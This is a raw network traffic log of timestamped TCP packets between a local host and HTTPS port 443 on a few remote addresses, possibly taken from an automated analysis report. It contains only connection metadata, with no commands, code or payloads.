Oct 24, 2024 08:51:36.856919050 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.875796080 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.876657009 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.876693010 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.877110004 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.877120018 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.911803007 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.912538052 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.912558079 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.913947105 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.913952112 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.980398893 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.980444908 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.980566025 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.980587006 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.980644941 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.981079102 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.981097937 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.981110096 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.981115103 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.986906052 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.986944914 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987066031 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987284899 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987293959 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987344027 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987361908 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987413883 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987411976 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987462044 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987632036 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987652063 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.987665892 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.987673044 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.989618063 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.989649057 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.989723921 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.989932060 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.989943027 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.042457104 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.042485952 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.042710066 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.042736053 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.043792009 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.043880939 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.044785023 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.044799089 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.051486969 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.051542044 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.051702976 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.052104950 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.052119017 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.068742990 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.069302082 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.069353104 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.069736004 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.069747925 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.107213020 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.107244968 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.107430935 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.107554913 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.107556105 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.110544920 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.110589027 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.110616922 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.110632896 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.116060019 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.116096020 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.116194010 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.116365910 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.116383076 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.198404074 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.198579073 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.198657990 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.198699951 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.198723078 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.198734999 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.198740959 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.207782030 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.207875013 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.207974911 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.208102942 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.208141088 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.402025938 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:37.402111053 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:37.402195930 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:37.719526052 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.720227003 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.720252991 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.720680952 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.720689058 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.729621887 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.735004902 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.735048056 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.735399961 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.735407114 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.801032066 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.801920891 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.801970959 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.802339077 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.802345991 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.848934889 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.849039078 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.849131107 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.849329948 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.849348068 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.849363089 CEST	50030	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.849368095 CEST	443	50030	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.852746010 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.852776051 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.852873087 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.853086948 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.853102922 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.861475945 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.862051964 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.862076998 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.862704039 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.862709999 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.863543987 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.863614082 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.863673925 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.863854885 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.863879919 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.863897085 CEST	50029	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.863903999 CEST	443	50029	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.867137909 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.867182970 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.867280960 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.867474079 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.867486000 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.932594061 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.932708025 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.932799101 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.933074951 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.933074951 CEST	50031	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.933104038 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.933120966 CEST	443	50031	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.939858913 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.939917088 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.940049887 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.940398932 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.940416098 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.950980902 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.951574087 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.951621056 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.951920986 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.951929092 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.993690014 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.993716002 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.993853092 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.993884087 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.993942022 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.994151115 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.994205952 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.994267941 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.995619059 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.995636940 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:37.995647907 CEST	50032	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:37.995654106 CEST	443	50032	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.003647089 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.003686905 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.003787041 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.003956079 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.003966093 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.084646940 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.084712029 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.084842920 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.084917068 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.085019112 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.085577965 CEST	50033	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.085611105 CEST	443	50033	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.094994068 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.095062017 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.095288992 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.095390081 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.095410109 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.345937014 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:38.346003056 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:38.596339941 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.597090960 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.597147942 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.597445965 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.597456932 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.599366903 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.599662066 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.599701881 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.599972963 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.599980116 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.670356035 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.682080030 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.682121038 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.682394028 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.682400942 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.725965977 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.725987911 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.726147890 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.726305008 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.726346970 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.726875067 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.726906061 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.726923943 CEST	50035	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.726932049 CEST	443	50035	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.736162901 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.736234903 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.736330032 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.736521006 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.736537933 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.742315054 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.742770910 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.742830038 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.743216991 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.743232965 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.832060099 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.833180904 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.833272934 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.833506107 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.833538055 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.841658115 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.841730118 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.841774940 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.841922998 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.841950893 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.842056036 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.848242998 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.848347902 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.848354101 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.848408937 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.849606037 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.849628925 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.849656105 CEST	50034	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.849662066 CEST	443	50034	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.851989031 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.852029085 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.852128029 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.852247000 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.852262020 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.874687910 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.874763966 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.874857903 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.874896049 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.874957085 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.875176907 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.875304937 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.875375032 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.876861095 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.876899958 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.876924992 CEST	50037	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.876940012 CEST	443	50037	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.908752918 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.908783913 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.908802986 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.908886909 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.908924103 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.908986092 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.924576998 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.924614906 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.924678087 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.924701929 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.924858093 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.943344116 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.943345070 CEST	50036	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.943387985 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.943407059 CEST	443	50036	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.948689938 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.948784113 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.948898077 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.960902929 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.960937977 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.961018085 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.961036921 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.961087942 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.961997032 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.962038040 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.962107897 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.962248087 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.962277889 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.962639093 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.962661028 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.962672949 CEST	50038	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.962678909 CEST	443	50038	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.973328114 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.973371983 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.973474026 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.973583937 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.973596096 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:38.973680019 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:38.973707914 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.481601000 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.483369112 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.483401060 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.483912945 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.483921051 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.601125002 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.601845026 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.601865053 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.602374077 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.602377892 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.613837957 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.613903046 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.614068985 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.614490986 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.614511967 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.614522934 CEST	50039	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.614530087 CEST	443	50039	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.617990017 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.618036032 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.618179083 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.618371964 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.618386984 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.692106009 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.693022013 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.693052053 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.693536997 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.693542957 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.694762945 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.695194960 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.695204020 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.695558071 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.695561886 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.702599049 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.705005884 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.705018044 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.705766916 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.705775976 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.734937906 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.735239029 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.735399008 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.739447117 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.739459038 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.739490032 CEST	50040	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.739495993 CEST	443	50040	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.742733955 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.742783070 CEST	443	50045	13.107.246.60	192.168.2.4
